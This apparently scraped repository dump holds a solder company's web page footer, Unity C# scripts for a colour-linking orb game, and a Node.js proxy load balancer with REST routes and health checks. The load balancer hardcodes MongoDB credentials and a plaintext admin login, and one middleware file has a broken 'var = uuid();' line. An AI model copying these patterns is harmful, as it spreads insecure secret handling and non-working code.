<li>Lead poisoning is a kind of heavy metal poisoning, which can not be excreted and accumulated gradually in the body.The U.S. occupational safety and health administration requires blood lead levels to be less than 50 microns per dl and 30 microns per dl for those planning to have children.</li>
</ul>
</li>
<li>
<span >Lead poisoning</span>
</li>
<li>
<span >Eu RoHS directive</span>
</li>
</ul>
</div>
</div>
<div>
</div>
<div class="data-download">
<div>
<dl>
<dt>
<div>The document name</div>
<div>The file size</div>
<div></div>
</dt>
<dd>
<div>Lead poisoning is a kind of heavy metal poisoning</div>
<div>1.4M</div>
<div>
<a href=""></a>
<a href=""></a>
</div>
</dd>
<dd>
<div>Tin bar precautions lead poisoning is heavy</div>
<div>1.4M</div>
<div>
<a href=""></a>
<a href=""></a>
</div>
</dd>
<dd>
<div>Tin bar precautions lead poisoning is heavy</div>
<div>1.4M</div>
<div>
<a href=""></a>
<a href=""></a>
</div>
</dd>
</dl>
</div>
</div>
<div class="product-list-location-next">
<div>
<ul id="span-click" class="serviceall-span-click">
<li>
<span>EICC</span>
<ul class="productlist-two-nav">
<li>
<h1>EICC and conflict metal</h1>
<h2>EICC code of conduct for electronics industry</h2>
</li>
<li>Wing on adopted the EICC (code of conduct for the electronic industry), which integrates the key requirements of social responsibility (SA) in the electronic industry.EICC was established to ensure safe working conditions, respect and respect for workers, and manufacturers in the electronic supply chain to meet environmental standards</li>
<li>Wing on adopted the EICC (code of conduct for the electronic industry), which integrates the key requirements of social responsibility (SA) in the electronic industry.EICC was established to ensure safe working conditions, respect and respect for workers, and manufacturers in the electronic supply chain to meet environmental standards</li>
<li>We follow EICC and work with suppliers on systems management and procedures to provide user-friendly, safe and green working environment in the supply chain.</li>
</ul>
</li>
<li>
<span >Yongan's statement on "conflict metals"</span>
</li>
</ul>
</div>
</div>
</div>
</div>
</section>
<!-- 回到顶部 -->
<div id="pageq">
<div class="gotoTop"></div>
</div>
<!-- 底部 -->
<section class="footer-nav">
<div class="footer-one">
<ul class="footer-ul-one">
<li><h4>about YongAn</h4></li>
<li><a href="">Company profile</a></li>
<li><a href="">Research and development center</a></li>
<li><a href="">Enterprise honor</a></li>
<li><a href="">Organizational structure</a></li>
<li><a href="">partners</a></li>
</ul>
<ul class="footer-ul-two">
<li><h4>Product center</h4></li>
<li><a href="">Solder products</a></li>
<li><a href="">Chemical products</a></li>
</ul>
<ul class="footer-ul-three">
<li><h4>News and information</h4></li>
<li><a href="">Enterprise dynamic</a></li>
<li><a href="">Industry dynamic</a></li>
</ul>
<ul class="footer-ul-four">
<li><h4>Service center</h4></li>
<li><a href="">Technical support</a></li>
<li><a href="">Use guide</a></li>
<li><a href="">Data download</a></li>
<li><a href="">YongAn statement</a></li>
</ul>
<ul class="footer-ul-five">
<li><img src="../img/01index_05.jpg" alt=""></li>
<li>WeChat public account</li>
</ul>
<ul class="footer-ul-six">
<li><h4>Contact us</h4></li>
<li>Dongguan yong 'an technology co. LTD</li>
<li>Address: no.353 xiangyang road, second industrial zone, shigu village, tangxia town, dongguan city</li>
<li>tel:0769-82077878</li>
<li>fax:0769-82077898</li>
</ul>
</div>
</section>
<footer class="footer-bottom">
<div class="footer-two">
<span>Copyright©2019 东莞永安科技有限公司 版权所有 粤ICP备00000000号 未经允许不得复制/转载</span>
<a target="_blank" href="http://www.niegoweb.com/">DESIGN:NIEGOWEB</a>
</div>
</footer>
<script src="https://cdn.bootcss.com/html5shiv/r29/html5.js"></script>
<script src="../js/jquery-3.3.1.js"></script>
<script src="../js/swiper.min.js"></script>
<script src="../js/countUp.js"></script>
<script src="../js/video.min.js"></script>
<script src="../js/common.js"></script>
</body>
</html> | 6cf2619782a1dba63918fbbd55f90285edbfcbaa | [
"JavaScript",
"HTML"
] | 3 | JavaScript | 993675454/nigao | 45d1b0b8ed8abc12111079ecf249b5cb4322adc7 | 7f76c2af6b942088262de4e9686d4096ad356851 |
refs/heads/master | <repo_name>DavidOliveiraSilva/Chromatic-Garden<file_sep>/Assets/Connections.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Connections : MonoBehaviour {
public Cor[] cores;
private bool[,] connectionsMatrix;
// Use this for initialization
void Start() {
connectionsMatrix = new bool[,]{{false, true, true, true, true, true, true, false, false, false, false, false},
{false, false, true, true, true, true, true, true, false, false, false, false},
{false, false, false, true, true, true, true, true, true, false, false, false},
{false, false, false, false, true, true, true, true, true, true, false, false},
{false, false, false, false, false, true, true, true, true, true, true, false},
{false, false, false, false, false, false, true, true, true, true, true, true},
{true, false, false, false, false, false, false, true, true, true, true, true},
{true, true, false, false, false, false, false, false, true, true, true, true},
{true, true, true, false, false, false, false, false, false, true, true, true},
{true, true, true, true, false, false, false, false, false, false, true, true},
{true, true, true, true, true, false, false, false, false, false, false, true},
{true, true, true, true, true, true, false, false, false, false, false, false}};
}
// Update is called once per frame
void Update () {
}
private int FindInList(Cor c) {
for (int i = 0; i < cores.Length; i++) {
if(cores[i] == c) {
return i;
}
}
return 0;
}
public bool DoesConect(Cor c, Cor d) {
return connectionsMatrix[FindInList(c), FindInList(d)];
}
}
<file_sep>/Assets/OrbGravity.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class OrbGravity : MonoBehaviour {
private Rigidbody2D rb;
private float angle;
private float distance;
public float RepulsiveForce;
public float radius;
// Use this for initialization
void Start () {
rb = GetComponent<Rigidbody2D>();
}
// Update is called once per frame
void Update () {
foreach(Transform t in transform) {
if(t.name == "link") {
GameObject orb = t.GetComponent<Linking>().receiver;
angle = Mathf.Atan2(transform.position.y - orb.transform.position.y, transform.position.x - orb.transform.position.x);
distance = GetComponent<Orb>().Distance(transform.position, orb.transform.position);
float df = Mathf.Abs(distance - radius);
if(distance < radius) {
Vector2 force = new Vector2(RepulsiveForce * Mathf.Cos(angle + Mathf.PI), RepulsiveForce * Mathf.Sin(angle + Mathf.PI));
orb.GetComponent<Rigidbody2D>().AddForce(force*df);
} else {
Vector2 force = new Vector2(RepulsiveForce * Mathf.Cos(angle), RepulsiveForce * Mathf.Sin(angle));
orb.GetComponent<Rigidbody2D>().AddForce(force*df);
}
}
}
}
}
<file_sep>/Assets/Orb.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Orb : MonoBehaviour {
public Cor cor;
private Connections connections;
public GameObject link;
private SpriteRenderer sr;
private List<GameObject> orbs;
//public ParticleSystem shine;
public int receiving;
// Use this for initialization
void Start () {
connections = GameObject.Find("GameManager").GetComponent<Connections>();
sr = GetComponent<SpriteRenderer>();
//shine = transform.Find("Shine").GetComponent<ParticleSystem>();
//var psmain = shine.main;
//psmain.startColor = sr.color;
}
// Update is called once per frame
void Update () {
foreach(Transform t in transform) {
if (t.name == "link") {
if (Distance(transform.position, t.gameObject.GetComponent<Linking>().receiver.transform.position) < 3) {
if (!t.GetComponent<ParticleSystem>().isEmitting) {
t.GetComponent<ParticleSystem>().Play();
//t.GetComponent<Linking>().receiver.GetComponent<Orb>().shine.Emit(10);
}
} else {
t.GetComponent<ParticleSystem>().Stop();
}
}
}
}
private void OnTriggerEnter2D(Collider2D collision) {
if(collision.gameObject.tag == "Player") {
collision.gameObject.GetComponent<Player>().AddOrbOnField(gameObject);
}
if(collision.gameObject.tag == "Orb") {
if (connections.DoesConect(cor, collision.gameObject.GetComponent<Orb>().cor) && !HasLink(collision.gameObject)) {
GameObject l = Instantiate(link);
l.transform.position = transform.position;
l.transform.SetParent(transform);
l.name = "link";
l.GetComponent<Linking>().emitter = gameObject;
l.GetComponent<Linking>().receiver = collision.gameObject;
ParticleSystem ps = l.GetComponent<ParticleSystem>();
ParticleSystem.ColorOverLifetimeModule co = ps.colorOverLifetime;
Color other = collision.gameObject.GetComponent<SpriteRenderer>().color;
Gradient grad = new Gradient();
grad.SetKeys(new GradientColorKey[] { new GradientColorKey(sr.color, 0.0f), new GradientColorKey(other, 1.0f) }, new GradientAlphaKey[] { new GradientAlphaKey(1.0f, 0.0f), new GradientAlphaKey(1.0f, 1.0f) });
co.color = grad;
float dy = transform.position.y - collision.transform.position.y;
float dx = transform.position.x - collision.transform.position.x;
float angle = Mathf.Atan2(dy, dx)*Mathf.Rad2Deg;
l.transform.eulerAngles = new Vector3(0, 0, angle);
//collision.gameObject.GetComponent<Orb>().shine.Play();
}
}
}
private void OnTriggerExit2D(Collider2D collision) {
if(collision.gameObject.tag == "Player") {
collision.gameObject.GetComponent<Player>().RemoveOrbFromField(gameObject);
}
}
private bool HasLink(GameObject orb) {
foreach(Transform t in transform) {
if(t.name == "link" && t.gameObject.GetComponent<Linking>().receiver == orb) {
return true;
}
}
return false;
}
public float Distance(Vector3 p1, Vector3 p2) {
return Mathf.Sqrt((p1.x - p2.x) * (p1.x - p2.x) + (p1.y - p2.y) * (p1.y - p2.y));
}
}
<file_sep>/Assets/SmallPortal.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SmallPortal : MonoBehaviour {
public GameObject pair;
public bool active;
public float activeDelay;
private float activeCounter;
// Use this for initialization
void Start () {
activeCounter = 0;
}
// Update is called once per frame
void Update () {
if (!active) {
activeCounter += Time.deltaTime;
if(activeCounter >= activeDelay) {
active = true;
activeCounter = 0;
}
}
}
private void OnTriggerEnter2D(Collider2D collision) {
if(collision.gameObject.tag == "Player") {
if (active && pair != null) {
float dx = collision.transform.position.x - pair.transform.position.x;
float dy = collision.transform.position.y - pair.transform.position.y;
collision.transform.position = pair.transform.position;
collision.gameObject.GetComponent<Player>().TransportAllOrbs(dx, dy);
active = false;
pair.GetComponent<SmallPortal>().active = false;
}
}
}
}
<file_sep>/Assets/Player.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Player : MonoBehaviour {
private Rigidbody2D rb;
public float speed;
private float angle;
public float monitor;
public bool canMove;
public List<GameObject> field;
public List<SpringJoint2D> grab;
[Range(0.0f, 1.0f)]
public float grabDistance;
// Use this for initialization
void Start () {
rb = GetComponent<Rigidbody2D>();
}
// Update is called once per frame
void FixedUpdate () {
if (canMove) {
float hor = Input.GetAxis("Horizontal");
float ver = Input.GetAxis("Vertical");
angle = Mathf.Atan2(ver, hor);
monitor = hor;
if(Mathf.Abs(hor) > 0 || Mathf.Abs(ver) > 0) {
rb.velocity = new Vector2(speed * Mathf.Cos(angle) * Mathf.Abs(hor) * Time.fixedDeltaTime, speed * Mathf.Sin(angle) * Mathf.Abs(ver) * Time.fixedDeltaTime);
} else {
rb.velocity = new Vector2(0, 0);
}
}
if (Input.GetButton("Grab")) {
Grab();
}
if (Input.GetButton("LetGo")) {
LetGo();
}
}
public void AddOrbOnField(GameObject orb) {
field.Add(orb);
}
public void RemoveOrbFromField(GameObject orb) {
field.Remove(orb);
}
public void Grab() {
LetGo();
foreach(GameObject o in field) {
SpringJoint2D sj = gameObject.AddComponent<SpringJoint2D>();
grab.Add(sj);
sj.connectedBody = o.GetComponent<Rigidbody2D>();
sj.dampingRatio = 1f;
sj.frequency = 1.5f;
sj.enableCollision = true;
sj.distance = Distance(transform.position, o.transform.position)*grabDistance;
}
}
public void LetGo() {
foreach (SpringJoint2D o in grab) {
Destroy(o);
}
grab.Clear();
}
float Distance(Vector3 p1, Vector3 p2) {
return Mathf.Sqrt((p1.x - p2.x)* (p1.x - p2.x) + (p1.y - p2.y)* (p1.y - p2.y));
}
public void TransportAllOrbs(float dx, float dy) {
foreach (SpringJoint2D sj in grab) {
print(sj.connectedBody.gameObject.transform.position);
sj.connectedBody.gameObject.transform.position = AproximatePosition();
print(sj.connectedBody.gameObject.transform.position);
print(sj.connectedBody.gameObject.name);
}
}
Vector3 AproximatePosition() {
return new Vector3(transform.position.x + Random.Range(-1.0f, 1.0f), transform.position.y + Random.Range(-1.0f, 1.0f), transform.position.z);
}
}
<file_sep>/Assets/Linking.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Linking : MonoBehaviour {
public GameObject emitter;
public GameObject receiver;
// Use this for initialization
void Start () {
}
// Update is called once per frame
void FixedUpdate () {
float dy = emitter.transform.position.y - receiver.transform.position.y;
float dx = emitter.transform.position.x - receiver.transform.position.x;
float angle = Mathf.Atan2(-dy, -dx) * Mathf.Rad2Deg;
transform.eulerAngles = new Vector3(0, 0, angle);
}
}
| cdd89e4d86bdfc93864fefdf818c5ae22efd97fc | [
"C#"
] | 6 | C# | DavidOliveiraSilva/Chromatic-Garden | 73aee7c32a71115fcd7db0e77cc5fce97d44b0d9 | 23553b5a87275584e1c1a7efb8c27fd3e2442f39 |
refs/heads/master | <file_sep>
## Developed by: ##
* <NAME>
* <NAME>
* <NAME>
* <NAME>
* <NAME>
## Project Definition:##
Extended [Node.js HTTP Proxy](https://github.com/nodejitsu/node-http-proxy) by implementing simple proxy as well as elastic load balancer on top of it. Built REST API on top of it to expose and configure the server via RESTful APIs.
### Implemented below features: ###
* **Elastic Load Balancer**
* **Load distribution in round robin fashion**
-Distribution of the load accross servers using round robin algorithm
-Integration of simple proxy server with the load balancing feature. The proxy server will forward all the incoming requests to another host and port for better performance.
* **Gzip all the request and response**
-Gzip property is used to compress the request and the response. This reduces the bandwidth and reduces the latency. This feature is enabled on comparison with a threshold value.
* **Computes the processing time for each request **
- The processing time for each request is calculated and returned in the response header in the following format:
-X-HTTP-Processing-Time = value.
* **Generation of an unique request id to for each request **
-Generates an Unique Id for each request and sets it in the response header in the following format.
-X-HTTP-request-id:"XYZ".
* **Forward requests to target**
-All the incoming requests are forwarded to target servers.
-eg: forward incoming request from Forward server(port:8000) to Target Server(port:9000)
* **Latency Feature**
-Calculates the latency(delay) when request is forwarded from one server to the other server
* **HealthCheck Feature**
-Implemented the health check feature for loadbalancer.
-It will continuously ping the server to see if it is up and running. Based on the comparison of the response with the threshold value valid servers are added to and invalid servers are discarded from the server pool.
* **DataBackup:Using Mongodb**
* -Creation of a backup of all the servers in document oriented structure.
-Maintaining the backup of gzip, latency values.
-Maintaining the backup of the forward and target servers.
* **ErrorHandling**
-While proxying a request, if any error is encountered it is handled so as to avoid failure of the application.
**User Interface**
*Integration of the UI with the backend process.
*Technologies used for UI: Jquery,Ajax,Bootstrap Css, Javascript,EJS
**Testing Application**
*The load balancing capability is tested by deploying the below application on a number of EC2 instances and the load *balancing between these instances.
*Here is the link to the application being tested:https://github.com/JvalantPatel/HelloApplication
**Version : 1.0**
### How do I setup the application? ###
* Download the code
* Go to the repository and execute below commands
```
#!node.js
$ npm install
$ node app.js
```
###Dependencies###
* [http-proxy](https://github.com/nodejitsu/node-http-proxy)
* [express](http://expressjs.com/)
* [cuid](https://github.com/ericelliott/cuid)
* [body-parser](https://github.com/expressjs/body-parser)
* [compression](https://github.com/expressjs/compression)
* [winston](https://github.com/triplem/winston-config)
* [node-uuid](https://github.com/broofa/node-uuid)
* [express-session](https://github.com/expressjs/session)
* [path](https://github.com/path)
* [colors](https://github.com/mrmrs/colors)
* [connect](https://github.com/senchalabs/connect)
* [util](https://www.npmjs.com/package/util)
<file_sep>var MongoClient = require('mongodb').MongoClient
, repository = require('../data/repository')
, dbConn = null;
var loadRepository = function () {
getDB().collection('dbload').findOne({'ID':'dbconfig'}, function(err,data) {
for(key in data) {
switch(key) {
case "addresses": {
repository.healthCheckInfo = data[key];
//console.log(repository.healthCheckInfo);
break;
}
case "gzipthreshold": {
repository.gzipThreshold = data[key];
break;
}
case "gzip": {
repository.gzip = data[key];
break;
}
case "latency": {
repository.latency = data[key];
break;
}
case "forward": {
repository.proxyConfig.forward = data[key];
break;
}
case "healthCheckConfig": {
repository.healthCheckConfig = data[key];
}
}
}
});
};
var createConnection = function() {
MongoClient.connect("mongodb://team22:japan@ds<EMAIL>.<EMAIL>:53320/loadbalancer",function(err, db){
if(!err) {
console.log("we are connected");
dbConn = db;
loadRepository()
}
else {
logger.debug("Error occured while connecting to mongodb: "+ err.message())
}
})
};
var getDB = function() {
return dbConn;
};
var DBUtil =
{
loadRepository : loadRepository,
createConnection : createConnection,
getDB : getDB
};
module.exports = DBUtil;<file_sep>/**
* Created by Jainik on 11/27/2014.
*/
var uuid = require('node-uuid');
module.exports = function dynamicMiddlewareGenerator(app, middleware) {
if (!app)
throw new Error('missing app');
if (!middleware)
throw new Error('missing middleware');
var = uuid();
function find() {
var stack = app.stack;
for (var i = stack.length - 1; i >= 0; i--) {
if (id in stack[i].handle) {
return i;
}
}
throw new Error('this middleware was already removed')
}
function dynamicMiddleware(req, res, next) {
middleware(req, res, next)
}
dynamicMiddleware[id] = undefined;
dynamicMiddleware.use = function(route) {
route = route || '/';
app.stack.unshift({ route: route, handle: this });
};
dynamicMiddleware.remove = function() {
var i = find();
app.stack.splice(i, 1);
};
dynamicMiddleware.replace = function(_middleware) {
var i = find();
var newDm = app.stack[i].handle = dynamicMiddlewareGenerator(app, _middleware);
return newDm
};
return dynamicMiddleware
};
<file_sep>var http = require('http')
, util = require('util')
, logger = require('../util/logger');
function serverRepository() {
http.createServer(function (req, res) {
logger.debug("request served by localhost:8000")
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('request served by localhost:8000'+ '\n' + JSON.stringify(req.headers, true, 2));
res.end();
}).listen(8000);
http.createServer(function (req, res) {
logger.debug("request served by localhost:8001")
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('request served by localhost:8001'+ '\n' + JSON.stringify(req.headers, true, 2));
res.end();
}).listen(8001);
//
// Target Http Server
//
http.createServer(function (req, res) {
util.puts('target is:9006 ' + req.url);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('request successfully proxied to:9006 ' + req.url + '\n' + JSON.stringify(req.headers, true, 2));
res.end();
}).listen(9006);
//
// Target Http Server
//
http.createServer(function (req, res) {
util.puts('target is:9007 ' + req.url);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('request successfully proxied to:9007 ' + req.url + '\n' + JSON.stringify(req.headers, true, 2));
res.end();
}).listen(9007);
//
// Target Http Forwarding Server
//
http.createServer(function (req, res) {
util.puts('forward is 9000' + req.url);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('request successfully forwarded to: ' + req.url + '\n' + JSON.stringify(req.headers, true, 2));
res.end();
}).listen(9000);
//
// Target Http Forwarding Server
//
http.createServer(function (req, res) {
util.puts('forward is 9002' + req.url);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('request successfully forwarded to: ' + req.url + '\n' + JSON.stringify(req.headers, true, 2));
res.end();
}).listen(9002);
//
// Target Http Forwarding Server
//
http.createServer(function (req, res) {
util.puts('forward is 9003' + req.url);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.write('request successfully forwarded to: ' + req.url + '\n' + JSON.stringify(req.headers, true, 2));
res.end();
}).listen(9003);
}
module.exports = new serverRepository();<file_sep>var express = require('express')
, router = express.Router()
, model = require('../model/loadbalancer')
,healthcheckmodel = require('../model/healthcheckmodel')
, gzipModel = require('../model/gzip');
router.route('/nodes/:action')
.post(function(req,res){
var action = req.params.action;
var address = req.body;
if(action === "add")
{
//if(!model.checkNodeExists(address))
if(!healthcheckmodel.checkNodeExistsForHC(address))
{
//model.addNode(address);
healthcheckmodel.addNodeForHealthCheck(address);
//res.status(200).json({'message':'success'});
res.status(200).json({'message':'Server Added !!' , 'flag':'Y'});
}
else
{
//res.status(200).json({'message':'failure','description':'Given node already exists in the repository '})
res.status(200).json({'message':'Server already exists in the pool !!' , 'flag':'N'});
}
} else if(action === "delete")
{
//if(model.checkNodeExists(address))
if(healthcheckmodel.checkNodeExistsForHC(address))
{
if(model.checkNodeExists(address))
{
model.deleteNode(address);
}
healthcheckmodel.deleteNodeForHealthCheck(address);
res.status(200).json({'message':'Server Deleted !!' , 'flag':'Y'});
}
else
{
//res.status(200).json({'message':'failure','description':'Given node not found in the repository'});
res.status(200).json({'message':'Could not find the server. <br>Please check the request data provided !!' , 'flag':'N'});
}
}
else
{
//res.status(400).json({'message':'error','description':'The action requested cannot be performed'});
res.status(400).json({'message':'error','description':'The action requested in url cannot be performed', 'flag':'N'});
req.on('error', function(e)
{
console.log(' There exists some problem with request: ' + e.message);
});
}
});
function error(err, req, res, next) {
console.error(err.stack);
res.send(500);
}
router.route('/nodes')
.get(function(req,res)
{
//res.status(200).json({'message':'success','data':{'nodes':model.getNodes()}});
//res.status(200).json({'message':'success','data':{'nodes':healthcheckmodel.getHealthCheckInfo()}});
var existingNodes = [];
var healthyCountMax = healthcheckmodel.getHealthyCount();
healthcheckmodel.getHealthCheckInfo().forEach(function(obj)
{
var status = ((obj.healthyCount>=healthyCountMax)?"InService":"OutOfService");
var node = {
"host": obj.host,
"port": obj.port,
"status": status
}
existingNodes.push(node);
});
res.status(200).json({'message':'success','requestedData':{'nodes':existingNodes}, 'flag':'Y'});
res.on('error', function(e)
{
console.log("Got error: " + e.message);
});
});
router.route('/gzip/threshold/:value')
.post(function(req,res){
if(req.params.value)
{
model.updateGzipThreshold(req.params.value);
console.log("New Threshold Value: "+ req.params.value);
//res.status(200).json({'message':'success'});
res.status(200).json({'message':'Threshold value modified to '+req.params.value , 'flag':'Y'});
}
else
{
//res.status(400).json({'message':'error','description':'The action requested cannot be performed'});
res.status(400).json({'message':'error','description':'The action requested by url cannot be performed' , 'flag':'N'});
req.on('error', function(e)
{
console.log('There exists some problem with request: ' + e.message);
});
}
});
router.route('/gzip/threshold')
.get(function(req,res)
{
//res.status(200).json({'message':'success','data': {'threshold-val':model.getGzipThreshold()}});
res.status(200).json({'message':'success','data': {'threshold-val':model.getGzipThreshold()}, 'flag':'Y'});
res.on('error', function(e)
{
console.log("Error : " + e.message);
});
});
router.route('/gzip')
.get(function(req,res)
{
res.status(200).json({'message':'success','data': {'gzip-enabled':model.getGzip()}});
res.on('error', function(e)
{
console.log("Error : " + e.message);
});
});
router.route('/gzip/:value')
.post(function(req,res){
gzipModel.setGzip(req.params.value);
console.log("Gzip value: "+ req.params.value);
//res.status(200).json({'message':'success'});
res.status(200).json({'message':'success', 'flag':'Y'});
});
router.route('/forward/:action')
.post(function(req,res){
var address = req.body;
var action = req.params.action;
if(action=="set"){
if(address)
{
model.updateForward(address);
//res.status(200).json({'message':'success'});
res.status(200).json({'message':'success', 'flag':'Y'});
}
else
{
//res.status(400).json({'message':'error'},{'description':'Sorry! action cannot be performed'});
res.status(400).json({'message':'error'},{'description':'Sorry! action requested by url cannot be performed', 'flag':'N'});
req.on('error', function(e)
{
console.log('There is a problem with request: ' + e.message);
});
}
}else if(action=="remove")
{
if(address)
{
model.deleteForward();
//res.status(200).json({'message':'success'});
res.status(200).json({'message':'success', 'flag':'Y'});
}
else
{
//res.status(400).json({'message':'success'},{'description':'Sorry! action cannot be performed'});
res.status(400).json({'message':'success'},{'description':'Sorry! action requested by url cannot be performed', 'flag':'N'});
}
}
else
{
//res.status(400).json({'message':'error','description':'Sorry! action cannot be performed '});
res.status(400).json({'message':'error','description':'Sorry! action requested by url cannot be performed ' , 'flag':'N'});
req.on('error', function(e)
{
console.log('There is a problem with request: ' + e.message);
});
}
});
router.route('/forward')
.get(function(req, res) {
//res.status(200).json({'message':'success','data':model.getForward()});
res.status(200).json({'message':'success','data':model.getForward(), 'flag':'Y'});
res.on('error', function(e)
{
console.log("Error : " + e.message);
});
});
router.route('/latency/:value')
.post(function(req,res){
if(req.params.value) {
model.updateLatency(req.params.value);
//res.status(200).json({'message':'success'});
res.status(200).json({'message':'Latency value modified to '+req.params.value, 'flag':'Y'});
}
else
{
//res.status(400).json({'message':'error'},{'description':'Sorry action cannot be performed'});
res.status(400).json({'message':'error'},{'description':'Sorry action requested by url cannot be performed', 'flag':'N'});
res.on('error', function(e)
{
console.log("Error : " + e.message);
});
}
});
router.route('/latency')
.get(function(req,res){
//res.status(200).json({'message':'success','data':{'latency-val':model.getLatency()}});
res.status(200).json({'message':'success','data':{'latency-val':model.getLatency()}, 'flag':'Y'});
res.on('error', function(e)
{
console.log("Error : " + e.message);
});
});
module.exports = router<file_sep>/**
* Created by Jvalant on 11/28/2014.
*/
var express = require('express'),
router = express.Router(),
model = require('../model/healthcheckmodel');
router.route('/')
.post(function(req,res){
var healthCheckConfig = req.body;
if(healthCheckConfig) {
model.setHealthCheckConfig(healthCheckConfig);
res.status(200).json({'message':'health check configuration updated successfully !!', 'data':model.getHealthCheckConfig() , 'flag':'Y'});
} else {
res.status(400).json({'message':'Failed','description':'Sorry! Could not process the request. Please check the request data' , 'flag':'N'});
}
})
.get(function(req, res) {
res.status(200).json({'message':'success','data':model.getHealthCheckConfig()});
});
module.exports = router;
<file_sep>/**
* Created by Jvalant on 12/2/2014.
*/
var http = require('http'),
healthCheckModel = require('../model/healthcheckmodel'),
loadBalancerModel = require('../model/loadbalancer');
function pingUtility() {
function loop(){
healthCheckModel.getHealthCheckInfo().forEach(function (host) {
var target ={
host : host.host,
port : host.port,
path : healthCheckModel.getCheckUrl()
};
//requestUrl =target.host+":"+target.port+healthCheckModel.getCheckUrl();
var req = http.get(target, function(res) {
//console.log( "Target :"+host.host +""+host.port+" "+'STATUS: ' + res.statusCode);
//console.log("in get method for "+target.port);
if(res.statusCode==200){
if(host.healthyCount < healthCheckModel.getHealthyCount()){
host.healthyCount++;
host.unhealthyCount = 0;
}
else{
if(!loadBalancerModel.checkNodeExists(target))
{
host.unhealthyCount =0;
var targetNew ={
host : target.host,
port : target.port
};
if(healthCheckModel.checkNodeExistsForHC(targetNew)) {
loadBalancerModel.addNode(targetNew);
}
}
}
}
});
req.on('error', function() {
//console.log('ERROR: for '+host.host +""+host.port + e.message);
if(host.unhealthyCount<healthCheckModel.getUnHealthyCount()){
host.unhealthyCount++;
}
else{
if(loadBalancerModel.checkNodeExists(target)){
loadBalancerModel.deleteNode(target);
host.healthyCount =0;
}
}
});
});
//console.log("Working servers added by load balancer:")
//console.log(loadBalancerModel.getNodes());
//console.log("Server status in healthcheck:")
//console.log(healthCheckModel.getHealthCheckInfo());
setTimeout(function () {
process.nextTick(function () {
loop();
});
}, healthCheckModel.getCheckInterval());
}
loop();
}
module.exports = new pingUtility();
<file_sep>function AddressRepo() {
this.addresses = [];
this.gzipThreshold = 0;
this.gzip = "true";
this.proxyConfig = [];
this.latency = 0;
this.healthCheckConfig = {};
this.healthCheckInfo = [];
this.menu =
[
{"menu_location" : "left",
"menu_index" : "4",
"menu_name" : "View Node Status" ,
"menu_url" : "/loadbalancer/showallservers"
},
{"menu_location" : "left",
"menu_index" : "1",
"menu_name" : "Add Node" ,
"menu_url" : "/loadbalancer/nodes/add"
},
{"menu_location" : "left",
"menu_index" : "2",
"menu_name" : "Remove Node" ,
"menu_url" : "/loadbalancer/nodes/delete"
},
{
"menu_location" : "left",
"menu_index" : "7",
"menu_name" : "Healthcheck" ,
"menu_url" : "/healthcheck"
},
{"menu_location" : "left",
"menu_index" : "3",
"menu_name" : "Gzip" ,
"menu_url" : "/loadbalancer/gzip/threshold"
},
{
"menu_location" : "left",
"menu_index" : "5",
"menu_name" : "Forward Node" ,
"menu_url" : "/loadbalancer/forward"
},
{
"menu_location" : "left",
"menu_index" : "6",
"menu_name" : "Latency" ,
"menu_url" : "/loadbalancer/latency"
}
],
this.user = [{
"username" : "admin",
"password" : "<PASSWORD>"
}],
this.aboutUs = [
{
"path" : "../images/jainik.jpg",
"name" : "<NAME>",
"currentWork" : "Graduate Student at San Jose State University",
"someInfo" : "<font style='color:black'><b>Study</b><br>Bachelors of Technology in Computer Engineering<br><b>Experience</b><br>SYSTEMS ENGINEER at TATA CONSULTANCY SERVICES<font>",
"linkedinurl" : "https://www.linkedin.com/pub/jainik-vora/25/323/694"
},
{
"path" : "../images/jvalant.jpg",
"name" : "<NAME>",
"currentWork" : "Graduate Student at San Jose State University",
"someInfo" : "<font style='color:black'><b>Study</b><br>Bachelors of Technology in Computer Engineering<br><b>Experience</b><br>SYSTEMS ENGINEER at TATA CONSULTANCY SERVICES<font>",
"linkedinurl" : "https://www.linkedin.com/pub/jvalant-patel/74/441/365"
},
{
"path" : "../images/utsav.jpg",
"name" : "<NAME>",
"currentWork" : "Graduate Student at San Jose State University",
"someInfo" : "<font style='color:black'><b>Study</b><br>Bachelors of Technology in Computer Engineering<br><b>Experience</b><br>SOFTWARE ENGINEER at TATA CONSULTANCY SERVICES<font>",
"linkedinurl" : "https://www.linkedin.com/pub/utsav-kansara/41/400/472/"
},
{
"path" : "../images/prajakta.jpg",
"name" : "<NAME>",
"currentWork" : "Graduate Student at San Jose State University",
"someInfo" : "<font style='color:black'><b>Study</b><br>Bachelors of Technology in Computer Engineering<br><b>Experience</b><br>WEB DEVELOPER at RAKUTEN<font>",
"linkedinurl" : "https://www.linkedin.com/pub/prajakta-naik/49/27b/249"
},
{
"path" : "../images/fareen.jpg",
"name" : "<NAME>",
"currentWork" : "Graduate Student at San Jose State University",
"someInfo" : "<font style='color:black'><b>Study</b><br>Bachelors of Engineering<br><b>Experience</b><br>JUNIOR ASSOCIATE at SYNECHRON<font>",
"linkedinurl" : "https://www.linkedin.com/pub/fareen-magdum/47/245/286"
}
]
}
module.exports = new AddressRepo();<file_sep>var repository = require('../data/repository')
, dbOperations = require('./db-operations');
var model = {
addNode: function(address) {
repository.addresses.push(address);
},
deleteNode: function(address) {
repository.addresses.forEach(function(obj)
{
if(obj.host == address.host && obj.port == address.port)
{
repository.addresses.splice(repository.addresses.indexOf(obj),1);
}
});
//dbOperations.deleteNode(address);
},
updateGzipThreshold: function(value) {
repository.gzipThreshold = value;
dbOperations.updateGzipThreshold(value);
},
getGzipThreshold: function() {
return repository.gzipThreshold;
},
getGzip: function() {
return repository.gzip;
},
getNodes: function() {
return repository.addresses;
},
getFirstNode: function() {
return repository.addresses.shift();
},
checkNodeExists: function(address) {
var found = false;
repository.addresses.forEach(function(obj) {
if(obj.host == address.host && obj.port == address.port) {
found = true;
}
});
return found;
},
updateForward: function(address) {
repository.proxyConfig.forward = address;
